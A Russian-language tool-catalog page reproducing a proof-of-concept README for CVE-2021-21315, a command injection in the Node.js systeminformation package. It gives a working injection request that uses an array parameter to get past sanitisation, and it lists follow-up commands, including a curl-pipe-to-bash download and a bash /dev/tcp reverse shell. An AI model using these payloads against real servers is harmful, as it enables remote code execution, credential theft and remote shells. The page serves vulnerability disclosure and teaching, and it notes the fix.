Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-21315-PoC — CVE 2021-21315 PoC | Kitploit
Инструменты/GitHubGitHub/forbiddenprogrammer/cve-2021-21315-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubforbiddenprogrammer/cve-2021-21315-poc

CVE-2021-21315-PoC

CVE 2021-21315 PoC

Репозиторий
1602525 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-21315-systeminformation

Это Proof of Concept для CVE-2021-21315, которая затрагивает библиотеку System Information для Node.js (npm-пакет "systeminformation"). npmjs.com/systeminformation

"обязательно проверяйте или санируйте параметры сервисов, которые передаются в si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... допускайте только строки, отклоняйте любые массивы. Санация строк работает как ожидается."

Поскольку эта уязвимость плохо объяснена (на мой взгляд), я решил написать небольшое приложение на основе уязвимой версии systeminformation. PoC содержит:

  1. Тестовое приложение на Node.js, использующее express и уязвимую systeminformation
  2. Простой тестовый payload для создания .txt файла на поражённой машине

Шаги для воспроизведения:

  1. Запустите приложение на сервере с Linux
  2. Отправьте GET-запрос на site.com/api/getServices?name=nginx (nginx — просто пример) obraz
  3. Теперь попробуйте отправить такой запрос: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz

Это не сработает из-за санации строк: obraz

Как сказано в описании CVE: "санация работает как ожидается, отклоняйте любые массивы [...]"

  1. Теперь отправьте запрос: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz На этот раз, если вы посмотрите на значение "name", оно не было санировано — успех! Давайте проверим, была ли выполнена команда
Скачать инструмент

obraz

Успех! Наша команда выполнена. Конечно, никому не нужен "pwn.txt", но потенциальный злоумышленник может:

  1. Загружать внутренние файлы, например index.js (ядро нашего приложения с возможными API-ключами, строками подключения к БД и прочим) или другие
  2. Скачивать и запускать скрипты — curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. Получить reverse shell — bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. Убивать процессы (можно также убить наше тестовое node-приложение)
  5. И даже более опасные вещи....

«Инъекция команд» звучит безобидно, но может иметь огромное влияние при определённых условиях

Проблема была исправлена в версии 5.3.1 "systeminformation" Спасибо https://www.huntr.dev/users/EffectRenan (Он нашёл уязвимость, однако, на мой взгляд, его "PoC" не показал реального влияния)

Также, не стесняйтесь использовать этот PoC в каких-нибудь CTF, но было бы круто, если вы укажете автора находки — EffectRean и создателя PoC — меня, всего доброго!

Disclaimer

Этот проект может использоваться только в образовательных целях. Использование этого программного обеспечения против целевых систем без предварительного разрешения незаконно, и автор не несёт ответственности за любой ущерб от неправильного использования этого программного обеспечения.